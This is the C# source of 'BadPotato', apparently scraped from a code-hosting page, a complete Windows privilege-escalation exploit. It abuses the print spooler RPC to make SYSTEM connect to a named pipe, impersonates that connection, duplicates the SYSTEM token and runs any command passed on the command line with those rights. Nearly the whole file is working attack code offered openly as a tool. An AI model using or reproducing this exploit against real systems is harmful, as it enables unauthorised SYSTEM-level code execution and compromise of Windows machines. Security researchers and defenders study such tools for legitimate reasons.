294 lines
18 KiB
C#
294 lines
18 KiB
C#
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using PingCastle.RPC;
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using System;
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using System.Runtime.ConstrainedExecution;
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using System.Runtime.InteropServices;
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using System.Security;
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using System.Security.Principal;
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using System.Text;
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using System.Threading;
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using static PingCastle.RPC.rprn;
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namespace BadPotato
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{
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class ExecuteRectangle
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{
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public struct SECURITY_ATTRIBUTES
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{
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public int nLength;
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public IntPtr lpSecurityDescriptor;
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public int bInheritHandle;
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}
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[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
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public struct STARTUPINFO
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{
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public Int32 cb;
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public string lpReserved;
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public string lpDesktop;
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public string lpTitle;
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public Int32 dwX;
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public Int32 dwY;
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public Int32 dwXSize;
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public Int32 dwYSize;
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public Int32 dwXCountChars;
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public Int32 dwYCountChars;
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public Int32 dwFillAttribute;
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public Int32 dwFlags;
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public Int16 wShowWindow;
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public Int16 cbReserved2;
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public IntPtr lpReserved2;
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public IntPtr hStdInput;
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public IntPtr hStdOutput;
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public IntPtr hStdError;
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}
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[StructLayout(LayoutKind.Sequential)]
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public struct PROCESS_INFORMATION
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{
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public IntPtr hProcess;
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public IntPtr hThread;
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public int dwProcessId;
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public int dwThreadId;
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}
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static void Main(string[] args)
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{
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Console.WriteLine(@"[*]
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____ ______ __ __
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/ __ )____ _____/ / __ \____ / /_____ _/ /_____
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/ __ / __ `/ __ / /_/ / __ \/ __/ __ `/ __/ __ \
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/ /_/ / /_/ / /_/ / ____/ /_/ / /_/ /_/ / /_/ /_/ /
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/_____/\__,_/\__,_/_/ \____/\__/\__,_/\__/\____/
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Github:https://github.com/BeichenDream/BadPotato/ By:BeichenDream
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");
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if (args.Length<1)
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{
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Console.WriteLine("[!] No Command");
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return;
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}
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SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();
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string pipeName = Guid.NewGuid().ToString("N");
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Console.WriteLine("[*] PipeName : " + string.Format("\\\\.\\pipe\\{0}\\pipe\\spoolss", pipeName));
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Console.WriteLine("[*] ConnectPipeName : " + string.Format("\\\\{0}/pipe/{1}", Environment.MachineName, pipeName));
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IntPtr pipeHandle = CreateNamedPipeW(string.Format("\\\\.\\pipe\\{0}\\pipe\\spoolss", pipeName), 0x00000003| 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes);
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if (pipeHandle!=IntPtr.Zero)
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{
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Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "CreateNamedPipeW",pipeHandle));
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rprn rprn = new rprn();
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DEVMODE_CONTAINER dEVMODE_CONTAINER = new DEVMODE_CONTAINER();
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IntPtr rpcPrinterHandle = IntPtr.Zero;
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rprn.RpcOpenPrinter(string.Format("\\\\{0}", Environment.MachineName), out rpcPrinterHandle, null, ref dEVMODE_CONTAINER, 0);
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if (rpcPrinterHandle!=IntPtr.Zero)
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{
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if (rprn.RpcRemoteFindFirstPrinterChangeNotificationEx(rpcPrinterHandle, 0x00000100, 0, string.Format("\\\\{0}/pipe/{1}", Environment.MachineName, pipeName), 0) != -1)
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{
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Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "RpcRemoteFindFirstPrinterChangeNotificationEx", rpcPrinterHandle));
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Thread thread = new Thread(() => ConnectNamedPipe(pipeHandle, IntPtr.Zero));
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thread.Start();
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if (thread.Join(5000))
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{
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Console.WriteLine("[*] ConnectNamePipe Success!");
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StringBuilder stringBuilder = new StringBuilder();
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GetNamedPipeHandleState(pipeHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Capacity);
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Console.WriteLine("[*] CurrentUserName : " + Environment.UserName);
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Console.WriteLine("[*] CurrentConnectPipeUserName : " + stringBuilder.ToString());
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if (ImpersonateNamedPipeClient(pipeHandle))
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{
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Console.WriteLine("[*] ImpersonateNamedPipeClient Success!");
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IntPtr hSystemToken = IntPtr.Zero;
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if (OpenThreadToken(GetCurrentThread(), 983551, false, ref hSystemToken))
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{
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Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "OpenThreadToken", hSystemToken));
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IntPtr hSystemTokenDup = IntPtr.Zero;
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if (DuplicateTokenEx(hSystemToken, 983551, 0, 2, 1, ref hSystemTokenDup))
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{
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Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "DuplicateTokenEx", hSystemTokenDup));
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if (SetThreadToken(IntPtr.Zero, hSystemToken))
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{
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Console.WriteLine("[*] SetThreadToken Success!");
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Console.WriteLine("[*] CurrentThreadUserName : " + WindowsIdentity.GetCurrent(true).Name);
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SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES();
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IntPtr out_read = IntPtr.Zero;
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IntPtr out_write = IntPtr.Zero;
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IntPtr err_read = IntPtr.Zero;
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IntPtr err_write = IntPtr.Zero;
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saAttr.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES));
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saAttr.bInheritHandle = 0x1;
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saAttr.lpSecurityDescriptor = IntPtr.Zero;
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if (CreatePipe(ref out_read, ref out_write, ref saAttr, 0))
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{
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Console.WriteLine(string.Format("[*] {0} Success! out_read:{1} out_write:{2}", "CreateOutReadPipe", out_read, out_write));
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}
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else
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{
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Console.WriteLine("[!] CreateOutReadPipe fail!");
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}
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if (CreatePipe(ref err_read, ref err_write, ref saAttr, 0))
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{
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Console.WriteLine(string.Format("[*] {0} Success! err_read:{1} err_write:{2}", "CreateErrReadPipe", err_read, err_write));
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}
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else
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{
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Console.WriteLine("[!] CreateErrReadPipe fail!");
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}
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SetHandleInformation(out_read, 0x00000001, 0);
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SetHandleInformation(err_read, 0x00000001, 0);
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STARTUPINFO si = new STARTUPINFO();
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PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
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si.cb = Marshal.SizeOf(si);
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si.lpDesktop = @"WinSta0\Default";
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si.hStdOutput = out_write;
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si.hStdError = err_write;
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si.dwFlags |= 0x00000100;
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string lpApplicationName = Environment.SystemDirectory + "/cmd.exe";
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string lpCommandLine = "cmd /c " + args[0];
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// bool flag=CreateProcessAsUserW(hSystemTokenDup, null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, Environment.SystemDirectory, ref si, out pi);
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if (CreateProcessWithTokenW(hSystemTokenDup, 0, null, lpCommandLine, 0x08000000, IntPtr.Zero, Environment.CurrentDirectory, ref si, out pi))
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{
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Console.WriteLine(string.Format("[*] {0} Success! ProcessPid:{1}", "CreateProcessWithTokenW", pi.dwProcessId));
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CloseHandle(out_write);
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CloseHandle(err_write);
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byte[] buf = new byte[4098];
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int dwRead = 0;
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while (ReadFile(out_read, buf, 4098, ref dwRead, IntPtr.Zero))
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{
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byte[] outBytes = new byte[dwRead];
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Array.Copy(buf, outBytes, dwRead);
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Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));
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}
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while (ReadFile(err_read, buf, 4098, ref dwRead, IntPtr.Zero))
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{
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byte[] outBytes = new byte[dwRead];
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Array.Copy(buf, outBytes, dwRead);
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Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));
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}
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CloseHandle(err_read);
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CloseHandle(out_read);
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CloseHandle(out_write);
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CloseHandle(err_write);
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CloseHandle(hSystemTokenDup);
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CloseHandle(hSystemToken);
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CloseHandle(rpcPrinterHandle);
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CloseHandle(pipeHandle);
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Console.WriteLine("[*] Bye!");
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}
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else
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{
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Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
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Console.WriteLine("[!] CreateProcessWithTokenW fail!");
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}
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}
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else
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{
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Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
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Console.WriteLine("[!] SetThreadToken fail!");
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}
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}
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else
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{
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Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
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Console.WriteLine("[!] DuplicateTokenEx fail!");
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}
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}
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else
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{
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Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
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Console.WriteLine("[!] OpenThreadToken fail!");
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}
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}
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else
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{
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Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
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Console.WriteLine("[!] ImpersonateNamedPipeClient fail!");
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}
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}
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else
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{
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CloseHandle(rpcPrinterHandle);
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CloseHandle(pipeHandle);
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Console.WriteLine("[!] ConnectNamePipe Time Out!");
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}
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}
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else
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{
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Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
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Console.WriteLine("[!] RpcRemoteFindFirstPrinterChangeNotificationEx fail!");
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}
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}
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else
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{
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CloseHandle(pipeHandle);
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Console.WriteLine("[!] RpcOpenPrinter fail!");
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}
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}
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else
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{
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Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
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Console.WriteLine("[!] CreateNamedPipeW fail!") ;
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}
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}
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[DllImport("advapi32.dll", SetLastError = true)]
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public static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken);
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[SecurityCritical]
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[DllImport("kernel32.dll", SetLastError = true)]
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[return: MarshalAs(UnmanagedType.Bool)]
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internal static extern bool CloseHandle(IntPtr handle);
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[DllImport("kernel32.dll", EntryPoint = "GetCurrentThread", CallingConvention = CallingConvention.Cdecl)]
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public static extern IntPtr GetCurrentThread();
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[SecurityCritical]
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[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)]
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public static extern IntPtr CreateNamedPipeW(string pipeName, int openMode, int pipeMode, int maxInstances, int outBufferSize, int inBufferSize, int defaultTimeout,ref SECURITY_ATTRIBUTES securityAttributes);
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[SecurityCritical]
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[DllImport("kernel32.dll", SetLastError = true)]
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[return: MarshalAs(UnmanagedType.Bool)]
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public static extern bool ConnectNamedPipe(IntPtr handle, IntPtr overlapped);
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[SecurityCritical]
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[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)]
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[return: MarshalAs(UnmanagedType.Bool)]
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public static extern bool GetNamedPipeHandleState(IntPtr hNamedPipe, IntPtr lpState, IntPtr lpCurInstances, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout, StringBuilder lpUserName, int nMaxUserNameSize);
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[SecurityCritical]
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[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
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[DllImport("advapi32.dll", SetLastError = true)]
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[return: MarshalAs(UnmanagedType.Bool)]
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public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
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[SecurityCritical]
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[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
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[DllImport("advapi32.dll", SetLastError = true)]
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[return: MarshalAs(UnmanagedType.Bool)]
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public static extern bool OpenThreadToken(IntPtr ThreadHandle, long DesiredAccess, bool OpenAsSelf,ref IntPtr TokenHandle);
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[SecurityCritical]
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[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
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[DllImport("advapi32.dll", SetLastError = true)]
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[return: MarshalAs(UnmanagedType.Bool)]
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public static extern bool DuplicateTokenEx(IntPtr hExistingToken,long dwDesiredAccess,int lpTokenAttributes,int ImpersonationLevel,int TokenType,ref IntPtr phNewToken);
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[SecurityCritical]
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[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
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[DllImport("userenv.dll", SetLastError = true)]
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[return: MarshalAs(UnmanagedType.Bool)]
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public static extern bool CreateEnvironmentBlock(ref IntPtr lpEnvironment,IntPtr hToken,bool bInherit);
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[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
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public static extern bool CreateProcessAsUserW(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
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[DllImport("kernel32.dll", SetLastError = true)]
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public static extern bool CreatePipe(ref IntPtr hReadPipe,ref IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, Int32 nSize);
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[DllImport("kernel32.dll", SetLastError = true)]
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public static extern bool SetHandleInformation(IntPtr hObject, int dwMask, int dwFlags);
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[DllImport("kernel32.dll", SetLastError = true)]
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public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped/*IntPtr.Zero*/);
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[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
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public static extern bool CreateProcessWithTokenW(IntPtr hToken, int dwLogonFlags, string lpApplicationName, string lpCommandLine, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
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}
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}
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